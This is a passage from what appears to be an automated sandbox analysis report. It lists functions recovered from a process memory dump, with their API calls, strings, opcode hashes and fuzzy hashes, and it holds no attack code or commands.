0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d

APIs

__EH_prolog3.LIBCMT ref: 0048C8D6
std::_Lockit::_Lockit.LIBCPMT ref: 0048C8E0

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048C91A
std::_Facet_Register.LIBCPMT ref: 0048C931
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C951
Concurrency::cancel_current_task.LIBCPMT ref: 0048C95E

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: f21903f133cc2ba64223b78dcfa5b558b85ac9618feb15af69d5e00521a02123
Instruction ID: 3734f5243c17de34b7f124b0e031fee1814de01fd7dfc4dfabcb5e61d80b180e
Opcode Fuzzy Hash: f21903f133cc2ba64223b78dcfa5b558b85ac9618feb15af69d5e00521a02123
Instruction Fuzzy Hash: D101C471E001298BCB05FB69D8566BEB775AF44324F54485FE411AB382CF7C9E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C964, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C96B
std::_Lockit::_Lockit.LIBCPMT ref: 0048C975

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048C9AF
std::_Facet_Register.LIBCPMT ref: 0048C9C6
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C9E6
Concurrency::cancel_current_task.LIBCPMT ref: 0048C9F3

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: d1523916864bcae98330d0836f27d8ea40860cce7d2d318f737c4f53f3d35e3b
Instruction ID: 95a2346c1a0a3255d5a5c53942570fb07094c7ba08130a60f44e227e225ebaca
Opcode Fuzzy Hash: d1523916864bcae98330d0836f27d8ea40860cce7d2d318f737c4f53f3d35e3b
Instruction Fuzzy Hash: 6C01ED71D0021A8BCB05FB65D856ABE7761BF80314F14084EE811AB382CF7C9E008799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C9F9, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CA00
std::_Lockit::_Lockit.LIBCPMT ref: 0048CA0A

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048CA44
std::_Facet_Register.LIBCPMT ref: 0048CA5B
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CA7B
Concurrency::cancel_current_task.LIBCPMT ref: 0048CA88

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: 360424a3084c37d4effaea057f44e6d80938f1ac1cd1c347caa1f02e4829e93b
Instruction ID: 799be2cbe417155a9b2c34543e86482fae44d9e2ebe9b8232dc18b69b0c5f81f
Opcode Fuzzy Hash: 360424a3084c37d4effaea057f44e6d80938f1ac1cd1c347caa1f02e4829e93b
Instruction Fuzzy Hash: 9A01C071D001298BCB05FB65D895ABE7775AF80314F65481FE810AB382CF3C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048CCE2, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CCE9
std::_Lockit::_Lockit.LIBCPMT ref: 0048CCF3

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

numpunct.LIBCPMT ref: 0048CD2D
std::_Facet_Register.LIBCPMT ref: 0048CD44
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CD64
Concurrency::cancel_current_task.LIBCPMT ref: 0048CD71

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registernumpunct
String ID:
API String ID: 2374177825-0
Opcode ID: 367ebb04587d87fade31d1f9f7d0bc185edd064d42c03fc606f47292d501d2ab
Instruction ID: 8c87d4b2a5c4ce9837a0f1ad041f8c33bf239e2224542b802fa9165208752077
Opcode Fuzzy Hash: 367ebb04587d87fade31d1f9f7d0bc185edd064d42c03fc606f47292d501d2ab
Instruction Fuzzy Hash: 7401E1359002158BCB01FBA5D8996BE7BA0AF80324F14081EE4106B382CF789D01C798

Uniqueness

Uniqueness Score: -1.00%

Function 0048CD77, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CD7E
std::_Lockit::_Lockit.LIBCPMT ref: 0048CD88

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

numpunct.LIBCPMT ref: 0048CDC2
std::_Facet_Register.LIBCPMT ref: 0048CDD9
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CDF9
Concurrency::cancel_current_task.LIBCPMT ref: 0048CE06

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registernumpunct
String ID:
API String ID: 2374177825-0
Opcode ID: ef13acadf03ad1f7fc320985d595e2b29bda19a08db9f3b729d9241fa1a35930
Instruction ID: 6c0a9b1e10a7c71c3c8324c33f60b81c870842f5402ba6e9a3eb8f35da619dfa
Opcode Fuzzy Hash: ef13acadf03ad1f7fc320985d595e2b29bda19a08db9f3b729d9241fa1a35930
Instruction Fuzzy Hash: 9701C475D001158BCB06FB65D8956BE7BA1AF84314F55095FE8116B382CF3C9E01C79D

Uniqueness

Uniqueness Score: -1.00%

Function 00C541F0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00C5422F
_swprintf.LIBCMTD ref: 00C54284
_swprintf.LIBCMTD ref: 00C542CC

Strings

0x%x, xrefs: 00C542BC
%02X, xrefs: 00C54279

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _swprintf$lstrcpy
String ID: %02X$0x%x
API String ID: 1145273856-1546051514
Opcode ID: 48b0eb6a96a84ee2c40f58250966d6abbdcdd4e5bebf11bf5a47a8c798f72b2f
Instruction ID: 24889ac958cae0f186ccb28387e56c98757acc55ed0f2009ca6659e57dd51431
Opcode Fuzzy Hash: 48b0eb6a96a84ee2c40f58250966d6abbdcdd4e5bebf11bf5a47a8c798f72b2f
Instruction Fuzzy Hash: 4F510CB8D00149EFDF08CF98C490AAEB7B1FF48309F208199E815A7361D731AB95DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C763F9, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 109COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00CA3ED2,00000104), ref: 00C76456

Part of subcall function 00C7B914: IsProcessorFeaturePresent.KERNEL32(00000017,00C7B8E6,?,?,?,00C65755,?,?,?,00C7B8F3,00000000,00000000,00000000,00000000,00000000,00C87C27), ref: 00C7B916
Part of subcall function 00C7B914: GetCurrentProcess.KERNEL32(C0000417), ref: 00C7B939
Part of subcall function 00C7B914: TerminateProcess.KERNEL32(00000000), ref: 00C7B940

Strings

..., xrefs: 00C764A4
<program name unknown>, xrefs: 00C76465
Runtime Error!Program: , xrefs: 00C76422
Microsoft Visual C++ Runtime Library, xrefs: 00C764EB

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentFeatureFileModuleNamePresentProcessorTerminate
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 872218275-4022980321
Opcode ID: 5d564b8887ae8e084ea83f4a2831663ab460ac8b830dd0559c7aa77b8d2b9458
Instruction ID: 070f7ed86d2245bfe5599db42f2957ac1b418a04c44615c1cebfed297f52092c
Opcode Fuzzy Hash: 5d564b8887ae8e084ea83f4a2831663ab460ac8b830dd0559c7aa77b8d2b9458
Instruction Fuzzy Hash: 69215472A0070A67DF616A60EC4AFAB3B6C9F91748F148034FE1C52111F662CB25E691

Uniqueness

Uniqueness Score: -1.00%

Function 004301CC, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004301D3
__Getcvt.LIBCPMT ref: 004301E5
__Getcvt.LIBCPMT ref: 0043020D

Strings

false, xrefs: 00430228
true, xrefs: 0043023A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Getcvt$H_prolog3_
String ID: false$true
API String ID: 4085572910-2658103896
Opcode ID: ea4191a211f3c7b8b38784d1ff0e0f436af73cb0f23fbff5d976b9e803d5be47
Instruction ID: 677c1ce155cf09159817d19818d2668137ab5584c5fc0557ba10d4e1fab97d9e
Opcode Fuzzy Hash: ea4191a211f3c7b8b38784d1ff0e0f436af73cb0f23fbff5d976b9e803d5be47
Instruction Fuzzy Hash: 96214FB1D00748AFDB20EFF5D891A5FBBBCAB08304F04866FB565D7242D73899048B69

Uniqueness

Uniqueness Score: -1.00%

Function 0049289C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004928A3
__Getcvt.LIBCPMT ref: 004928B1

Part of subcall function 004302EE: _strlen.LIBCMT ref: 004302F4

Part of subcall function 0048BAE8: _Maklocstr.LIBCPMT ref: 0048BB08
Part of subcall function 0048BAE8: _Maklocstr.LIBCPMT ref: 0048BB25
Part of subcall function 0048BAE8: _Maklocstr.LIBCPMT ref: 0048BB42
Part of subcall function 0048BAE8: _Maklocchr.LIBCPMT ref: 0048BB54
Part of subcall function 0048BAE8: _Maklocchr.LIBCPMT ref: 0048BB67

_Mpunct.LIBCPMT ref: 00492930
_Mpunct.LIBCPMT ref: 0049294A

Strings

$+xv, xrefs: 00492955

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocstr$MaklocchrMpunct$GetcvtH_prolog3_strlen
String ID: $+xv
API String ID: 3506764189-1686923651
Opcode ID: 91cecb4d499f96e0331ccc3c769fc6d9dcb1a8bb90a5d6f7f655957ee20a7b2d
Instruction ID: d4007caeb0ed6ab0e23313825519e23d98435ac1e76fd6f7e882ab886e41fa89
Opcode Fuzzy Hash: 91cecb4d499f96e0331ccc3c769fc6d9dcb1a8bb90a5d6f7f655957ee20a7b2d
Instruction Fuzzy Hash: 9821C7B1904B566EDB25DF76849077BBEF8AB0D304F04052FE499C7A42D778DA01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0049AB98, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0049AB9F
__Getcvt.LIBCPMT ref: 0049ABAD

Part of subcall function 004302EE: _strlen.LIBCMT ref: 004302F4

_Mpunct.LIBCPMT ref: 0049AC2C
_Mpunct.LIBCPMT ref: 0049AC46

Strings

$+xv, xrefs: 0049AC51

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Mpunct$GetcvtH_prolog3_strlen
String ID: $+xv
API String ID: 556337393-1686923651
Opcode ID: a66196ce39e1a9263a0aa6c799fc6fe6719f95adc7c728b3e08afca19ddad0e4
Instruction ID: cd7b428007d03788b8c8db4644eff112bf5fded5e64f55c7bce39db12e2ec46d
Opcode Fuzzy Hash: a66196ce39e1a9263a0aa6c799fc6fe6719f95adc7c728b3e08afca19ddad0e4
Instruction Fuzzy Hash: 4521B2B1904A526FDB25DF75849073BBEE8AB09304F04056FE499C7A41D738EA11CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 00C52960, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67stringwindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C52999
FormatMessageW.KERNEL32(00001300,00000000,00000050,00000000,?,00000000,00000000), ref: 00C529F6
lstrlenW.KERNEL32(?), ref: 00C52A00

Part of subcall function 00C53700: GetStdHandle.KERNEL32(000000F5,00C53625,00C535F8,?,00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C53716
Part of subcall function 00C53700: WriteConsoleW.KERNEL32(00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C5371D
Part of subcall function 00C53700: GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00000000,00000000,00000000,00000000), ref: 00C5373E
Part of subcall function 00C53700: WideCharToMultiByte.KERNEL32(00000000), ref: 00C53745
Part of subcall function 00C53700: GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00C53625,00000000,00000000,00000000), ref: 00C53773
Part of subcall function 00C53700: WideCharToMultiByte.KERNEL32(00000000), ref: 00C5377A
Part of subcall function 00C53700: GetStdHandle.KERNEL32(000000F5,00C53625,00000000,?,00000000), ref: 00C53790
Part of subcall function 00C53700: WriteFile.KERNEL32(00000000), ref: 00C53797

LocalFree.KERNEL32(?), ref: 00C52A17

Strings

P, xrefs: 00C529A2

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$ByteCharHandleMultiOutputWideWrite$ErrorFileFormatFreeLastLocalMessagelstrlen
String ID: P
API String ID: 1926120129-3110715001
Opcode ID: ac148f0b797d6f760172dfff27b328856d9ccb54b3fb427f7d206ff9ebd472a4
Instruction ID: 8db951ff3f2f750db5e8168502609904a555d361c5206e96dba7b8a6576d9360
Opcode Fuzzy Hash: ac148f0b797d6f760172dfff27b328856d9ccb54b3fb427f7d206ff9ebd472a4
Instruction Fuzzy Hash: 0E21C3B9D00208BBDB10EBE4DC4ABAE77B4AB09706F104108FE256A2C1E7715784DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C5FA74, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,00C5FB35,00000000,00000FA0,00CA3E10,00000000,?,00C5FD1C,00000004,InitializeCriticalSectionEx,00C9A9EC,InitializeCriticalSectionEx,00000000), ref: 00C5FB04

Strings

api-ms-, xrefs: 00C5FAC4

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: a322e3dddeb52b6eabc55189b0526b52f6e76e8dad53806d310c29fe80fcbccc
Instruction ID: 4f377357ca260ce6ed6a9f284b1db04bff42f4259c547fc144c998c313111b48
Opcode Fuzzy Hash: a322e3dddeb52b6eabc55189b0526b52f6e76e8dad53806d310c29fe80fcbccc
Instruction Fuzzy Hash: 5D110A39A01221A7DF224768DC45B5E33A89F05771F25013AFD29EB2C0D770EE46D6DA

Uniqueness

Uniqueness Score: -1.00%

Function 00C86BFA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00C86BB3), ref: 00C86C09
GetLastError.KERNEL32(?,00C86BB3), ref: 00C86C13
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00C86C51

Strings

ext-ms-, xrefs: 00C86C36
api-ms-, xrefs: 00C86C20

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-$ext-ms-
API String ID: 3177248105-537541572
Opcode ID: d3b31d7a88c68740a47bf3e80f48c1ce0429004cbd8994fb0e7b3c258e9e4134
Instruction ID: 669fba1765246feb2cc387e0587df95f5a458a1db86e87f069c4efb9fe8c9eb3
Opcode Fuzzy Hash: d3b31d7a88c68740a47bf3e80f48c1ce0429004cbd8994fb0e7b3c258e9e4134
Instruction Fuzzy Hash: B1F01C30680204F6EF212B61ED0EF193F59EB40B54F185025FE5DA80E1EB73EA21A698

Uniqueness

Uniqueness Score: -1.00%

Function 00C64134, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00C640BB,00000000,?,00C64083,?,?,00000000), ref: 00C64149
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00C6415C
FreeLibrary.KERNEL32(00000000,?,?,00C640BB,00000000,?,00C64083,?,?,00000000), ref: 00C6417F

Strings

mscoree.dll, xrefs: 00C64142
CorExitProcess, xrefs: 00C64154

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f8b9c88ffc426004bb227d0a6f1212022d7f50817c84b89fd837595af30f0d2b
Instruction ID: 4c983daa51a227ae644a959506b79a0002f4cb0cf2649b369f974f59523c910d
Opcode Fuzzy Hash: f8b9c88ffc426004bb227d0a6f1212022d7f50817c84b89fd837595af30f0d2b
Instruction Fuzzy Hash: 11F0A031901219FBDF229BA5DD0EBDDBA78EF04756F100065F812A11A0DB718F40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C53C20, Relevance: 7.7, APIs: 5, Instructions: 205registrystringCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(00000800,00000000,?,?,00000000,?,?,?), ref: 00C53CF2
lstrlenW.KERNEL32(00000100), ref: 00C53DA3
RegEnumKeyExW.ADVAPI32(00000800,00000000,?,00000101,00000000,00000000,00000000,00000000), ref: 00C53DD2
RegOpenKeyExW.ADVAPI32(00000800,?,00000000,00020019,?), ref: 00C53E15
RegCloseKey.ADVAPI32(?), ref: 00C53E37

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Enum$CloseOpenValuelstrlen
String ID:
API String ID: 469775140-0
Opcode ID: dd08315e9e671ce12640cbec67ce729b48d2214216d161d9ac2040665ac63de7
Instruction ID: 22fe236b0c52da8e70e3e187eb1e62174eb85d0f2a80c1abcc1c6e2680b3443d
Opcode Fuzzy Hash: dd08315e9e671ce12640cbec67ce729b48d2214216d161d9ac2040665ac63de7
Instruction Fuzzy Hash: 7B814BB9E10248ABDF04DFD8D845BEEB7B5BF48301F108119E915A7240D774AB89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C8FCBD, Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00C8FD41
__alloca_probe_16.LIBCMT ref: 00C8FE07
__freea.LIBCMT ref: 00C8FE73

Part of subcall function 00C7CAA8: HeapAlloc.KERNEL32(00000000,?,?,?,00C87E19,00CA19F8,00000018,00000003,00CA1A18,00000028,00C7A830,00000016,00C7B454), ref: 00C7CADA

__freea.LIBCMT ref: 00C8FE7C
__freea.LIBCMT ref: 00C8FE9F

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 1e9a1e0847e6b5a0a2fd338c3a079bff6d16a7ebdb18d59ab0920e4f49967a65
Instruction ID: 2f8baee35e473ca756a2fdea530881c4ff07d36e39d65a9101c38c31dccb72f9
Opcode Fuzzy Hash: 1e9a1e0847e6b5a0a2fd338c3a079bff6d16a7ebdb18d59ab0920e4f49967a65
Instruction Fuzzy Hash: 9551F272600206AFEF20AE60CC41EBF36A9EF45758F25413DFD18A7161E730DE1297A8

Uniqueness

Uniqueness Score: -1.00%

Function 00C78BB8, Relevance: 7.7, APIs: 5, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00C7CAA8: HeapAlloc.KERNEL32(00000000,?,?,?,00C87E19,00CA19F8,00000018,00000003,00CA1A18,00000028,00C7A830,00000016,00C7B454), ref: 00C7CADA

_free.LIBCMT ref: 00C78CC7
_free.LIBCMT ref: 00C78CDE
_free.LIBCMT ref: 00C78CFB
_free.LIBCMT ref: 00C78D16
_free.LIBCMT ref: 00C78D2D

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$AllocHeap
String ID:
API String ID: 1835388192-0
Opcode ID: dacda9bc950cb99f5d36e5bb1ab9c765628b4677f4e418a4872f7dac57a70809
Instruction ID: 1bb05bb7c61e407b7922b3563c2767f82867426993489405bf22aafeb55a0062
Opcode Fuzzy Hash: dacda9bc950cb99f5d36e5bb1ab9c765628b4677f4e418a4872f7dac57a70809
Instruction Fuzzy Hash: B3511472A00305AFDB21DF69CC85B6A77F4EF58720F108569EA1DD7290EB31DA04DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C53E90, Relevance: 7.7, APIs: 5, Instructions: 170registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000800,?,00000000,?,?,?), ref: 00C53EE9

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1185088242bf06528c09765bd6addc554330bb13ff2709b0557a4909d04ecae0
Instruction ID: 6816766e02c37f27dadb8de978d13d9a9237fc09b60473adc75c84bfa5df069b
Opcode Fuzzy Hash: 1185088242bf06528c09765bd6addc554330bb13ff2709b0557a4909d04ecae0
Instruction Fuzzy Hash: CB519DB9E00248ABDF04DFD4D845BEEB7B4BF48305F108559FA15A7281E631AB88CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00C52650, Relevance: 7.7, APIs: 5, Instructions: 162registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C525D0: lstrlenW.KERNEL32(?), ref: 00C525D8
Part of subcall function 00C525D0: lstrlenW.KERNEL32(?,[%s],?), ref: 00C525FB
Part of subcall function 00C525D0: _swprintf.LIBCMTD ref: 00C52609

RegEnumValueW.ADVAPI32(00000100,00000000,?,?,00000000,?,?,?), ref: 00C526C5
lstrlenW.KERNEL32(?), ref: 00C52765
RegEnumKeyExW.ADVAPI32(00000100,00000000,?,00000101,00000000,00000000,00000000,00000000), ref: 00C52794
RegOpenKeyExW.ADVAPI32(00000100,?,00000000,00020019,?), ref: 00C527D1
RegCloseKey.ADVAPI32(?), ref: 00C527F3

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$Enum$CloseOpenValue_swprintf
String ID:
API String ID: 1737753471-0
Opcode ID: 8d79691bd6a1786c0429df30d123fa9cdd858a197914659e3fd5e588394c6f90
Instruction ID: 4621f7a6f8f9a2805354198d7b2e086a724b63dbc36697b2d8600ac4814f6bea
Opcode Fuzzy Hash: 8d79691bd6a1786c0429df30d123fa9cdd858a197914659e3fd5e588394c6f90
Instruction Fuzzy Hash: 7D510BB9D00208EFDB04DFD8D885FEEB7B9BB4C301F108559FA15A7240D634AA45DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C56752, Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

